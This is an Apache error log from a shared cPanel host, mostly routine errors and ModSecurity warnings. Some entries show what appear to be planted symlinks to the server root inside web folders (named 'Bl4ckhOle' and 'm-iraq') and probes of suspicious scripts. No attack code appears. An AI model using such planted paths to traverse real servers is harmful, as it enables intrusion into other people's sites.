[Fri Jul 17 10:30:13.982272 2026] [security2:error] [pid 2075711:tid 2075711] [client 2401:4900:1c5c:4df3:14ba:b76:9bda:52ab:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "stanthonys.biz"] [uri "/xmlrpc.php"] [unique_id "alm23R3_6y13_d3Np4_5-gAAAAE"]
[Fri Jul 17 10:30:14.289971 2026] [core:error] [pid 2079960:tid 2079960] (13)Permission denied: [client 57.141.18.70:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory76/node0/memory143/node0/memory91/node0/compact
[Fri Jul 17 10:30:14.412657 2026] [ssl:error] [pid 2078862:tid 2078862] (70014)End of file found: [client 66.85.158.91:35472] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:15.763469 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:15.776723 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:15.915936 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:35560] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:17.417099 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:35622] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:17.682385 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:17.761589 2026] [proxy_fcgi:error] [pid 2076257:tid 2076257] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:17.928145 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:17.929893 2026] [proxy_fcgi:error] [pid 2075978:tid 2075978] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:18.191663 2026] [proxy_fcgi:error] [pid 2079960:tid 2079960] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:18.277895 2026] [proxy_fcgi:error] [pid 2076257:tid 2076257] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:18.395203 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:18.506129 2026] [proxy_fcgi:error] [pid 2075711:tid 2075711] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:18.592308 2026] [proxy_fcgi:error] [pid 2075908:tid 2075908] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:18.689648 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:18.786149 2026] [proxy_fcgi:error] [pid 2075901:tid 2075901] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:18.879203 2026] [proxy_fcgi:error] [pid 2076188:tid 2076188] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:18.976005 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:19.056993 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:19.146278 2026] [proxy_fcgi:error] [pid 2075711:tid 2075711] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:19.253390 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:19.434453 2026] [proxy_fcgi:error] [pid 2075901:tid 2075901] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:19.434955 2026] [security2:error] [pid 2075901:tid 2075901] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/comdefor-global": Permission denied [hostname "mail.comdef.org"] [uri "/flox.php"] [unique_id "alm242FDQ6dUmh6WfoaF2gAAAAc"]
[Fri Jul 17 10:30:19.434975 2026] [security2:error] [pid 2075901:tid 2075901] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/comdefor-ip": Permission denied [hostname "mail.comdef.org"] [uri "/flox.php"] [unique_id "alm242FDQ6dUmh6WfoaF2gAAAAc"]
[Fri Jul 17 10:30:19.529101 2026] [proxy_fcgi:error] [pid 2079960:tid 2079960] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:19.616167 2026] [proxy_fcgi:error] [pid 2075978:tid 2075978] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:19.750829 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:19.852426 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:19.995285 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.012948 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:35952] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:20.078068 2026] [proxy_fcgi:error] [pid 2076194:tid 2076194] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.162626 2026] [proxy_fcgi:error] [pid 2078862:tid 2078862] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.244415 2026] [proxy_fcgi:error] [pid 2076257:tid 2076257] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.325403 2026] [proxy_fcgi:error] [pid 2079960:tid 2079960] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.406090 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.501276 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.580413 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.662431 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.774433 2026] [proxy_fcgi:error] [pid 2076194:tid 2076194] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.859939 2026] [proxy_fcgi:error] [pid 2075908:tid 2075908] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:20.938568 2026] [proxy_fcgi:error] [pid 2078862:tid 2078862] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:21.023642 2026] [proxy_fcgi:error] [pid 2075901:tid 2075901] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:21.104863 2026] [proxy_fcgi:error] [pid 2075978:tid 2075978] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:21.353006 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:21.432590 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:23.648020 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:23.734265 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "alm25wTUp7iFPeTAJ9d3aQAAAAU"]
[Fri Jul 17 10:30:23.734697 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "alm25wTUp7iFPeTAJ9d3aQAAAAU"]
[Fri Jul 17 10:30:23.735012 2026] [security2:error] [pid 2076132:tid 2076132] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "alm25wTUp7iFPeTAJ9d3aQAAAAU"]
[Fri Jul 17 10:30:23.884243 2026] [proxy_fcgi:error] [pid 2078862:tid 2078862] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:23.967064 2026] [proxy_fcgi:error] [pid 2076193:tid 2076193] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:24.050332 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:24.217071 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:24.297431 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:24.379275 2026] [proxy_fcgi:error] [pid 2076257:tid 2076257] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:24.463005 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:24.482236 2026] [ssl:error] [pid 2075908:tid 2075908] (70014)End of file found: [client 66.85.158.91:52326] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:24.734373 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:24.840000 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:25.037376 2026] [core:error] [pid 2075690:tid 2075690] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty50/subsystem/ttyS2/closing_wait
[Fri Jul 17 10:30:25.658380 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:25.874256 2026] [proxy_fcgi:error] [pid 2075901:tid 2075901] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:25.876258 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:52430] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:26.110659 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:26.591662 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:26.753362 2026] [proxy_fcgi:error] [pid 2076257:tid 2076257] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:26.790889 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:26.895128 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:27.125789 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:27.578221 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:27.597575 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:27.659121 2026] [proxy_fcgi:error] [pid 2076193:tid 2076193] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:27.794475 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:28.312303 2026] [proxy_fcgi:error] [pid 2075978:tid 2075978] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:28.336224 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:28.391471 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:28.474870 2026] [proxy_fcgi:error] [pid 2075711:tid 2075711] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:28.479720 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:28.555956 2026] [proxy_fcgi:error] [pid 2076194:tid 2076194] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:28.580238 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:28.639482 2026] [proxy_fcgi:error] [pid 2075904:tid 2075904] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:28.685402 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:28.723083 2026] [proxy_fcgi:error] [pid 2078862:tid 2078862] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:28.989352 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:29.074910 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:29.344913 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:29.600588 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:29.645452 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:29.679499 2026] [proxy_fcgi:error] [pid 2076194:tid 2076194] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:29.764905 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:29.868108 2026] [proxy_fcgi:error] [pid 2078862:tid 2078862] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:29.869936 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:29.965001 2026] [proxy_fcgi:error] [pid 2079960:tid 2079960] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:29.985477 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:30.123863 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:30.210545 2026] [proxy_fcgi:error] [pid 2075723:tid 2075723] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:30.324976 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:30.410002 2026] [proxy_fcgi:error] [pid 2075908:tid 2075908] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:30.496869 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:30.577236 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:30.688414 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:30.768084 2026] [proxy_fcgi:error] [pid 2079960:tid 2079960] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:30.822989 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:30.857522 2026] [proxy_fcgi:error] [pid 2076188:tid 2076188] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:30.950925 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.024307 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:31.030027 2026] [proxy_fcgi:error] [pid 2075978:tid 2075978] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.124214 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.155935 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:31.211599 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.320381 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.402767 2026] [proxy_fcgi:error] [pid 2075904:tid 2075904] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.414531 2026] [mime:warn] [pid 2078862:tid 2078862] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:31.498025 2026] [proxy_fcgi:error] [pid 2076257:tid 2076257] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.590462 2026] [proxy_fcgi:error] [pid 2075705:tid 2075705] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.639531 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:31.671648 2026] [proxy_fcgi:error] [pid 2076188:tid 2076188] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.769691 2026] [proxy_fcgi:error] [pid 2075691:tid 2075691] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.850629 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:31.940996 2026] [proxy_fcgi:error] [pid 2075689:tid 2075689] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.030878 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.124010 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.208150 2026] [proxy_fcgi:error] [pid 2076231:tid 2076231] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.313539 2026] [proxy_fcgi:error] [pid 2076257:tid 2076257] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.336001 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:32.409503 2026] [proxy_fcgi:error] [pid 2075901:tid 2075901] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.488319 2026] [proxy_fcgi:error] [pid 2075691:tid 2075691] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.594784 2026] [proxy_fcgi:error] [pid 2075723:tid 2075723] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.693442 2026] [proxy_fcgi:error] [pid 2075978:tid 2075978] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.743880 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:32.786656 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.816991 2026] [security2:error] [pid 2075690:tid 2075690] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm28ByL4_TKNgi7OLI4lwAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1060&page_105=2099
[Fri Jul 17 10:30:32.817025 2026] [security2:error] [pid 2075690:tid 2075690] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm28ByL4_TKNgi7OLI4lwAAAB4"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1060&page_105=2099
[Fri Jul 17 10:30:32.881270 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.975313 2026] [proxy_fcgi:error] [pid 2076194:tid 2076194] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:32.987748 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:33.054555 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:33.162152 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:33.261983 2026] [proxy_fcgi:error] [pid 2075718:tid 2075718] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:33.342529 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:33.413536 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:33.429853 2026] [proxy_fcgi:error] [pid 2076194:tid 2076194] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:33.523814 2026] [proxy_fcgi:error] [pid 2075705:tid 2075705] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:33.611308 2026] [proxy_fcgi:error] [pid 2078862:tid 2078862] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:33.705074 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:33.731207 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:33.791332 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:33.830041 2026] [proxy_fcgi:error] [pid 2075978:tid 2075978] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:33.927261 2026] [proxy_fcgi:error] [pid 2079960:tid 2079960] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:34.012352 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:34.094884 2026] [proxy_fcgi:error] [pid 2075908:tid 2075908] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:34.132819 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:34.193481 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:34.293694 2026] [proxy_fcgi:error] [pid 2075780:tid 2075780] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:34.481198 2026] [proxy_fcgi:error] [pid 2075693:tid 2075693] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:34.575615 2026] [proxy_fcgi:error] [pid 2075689:tid 2075689] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:34.676526 2026] [proxy_fcgi:error] [pid 2076132:tid 2076132] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:34.686503 2026] [mime:warn] [pid 2079960:tid 2079960] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:34.766881 2026] [proxy_fcgi:error] [pid 2075690:tid 2075690] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:34.846259 2026] [proxy_fcgi:error] [pid 2075692:tid 2075692] [client 20.104.96.117:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:30:35.177580 2026] [security2:error] [pid 2078862:tid 2078862] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apr-util/LICENSE"] [unique_id "alm281dpwFZenNBvzwM4QwAAAA4"]
[Fri Jul 17 10:30:35.177628 2026] [security2:error] [pid 2078862:tid 2078862] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/ea-apr-util/LICENSE"] [unique_id "alm281dpwFZenNBvzwM4QwAAAA4"]
[Fri Jul 17 10:30:35.384764 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:43734] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:30:35.423803 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:35.689622 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:35.689735 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:35.689785 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:35.689817 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:30:35.689849 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
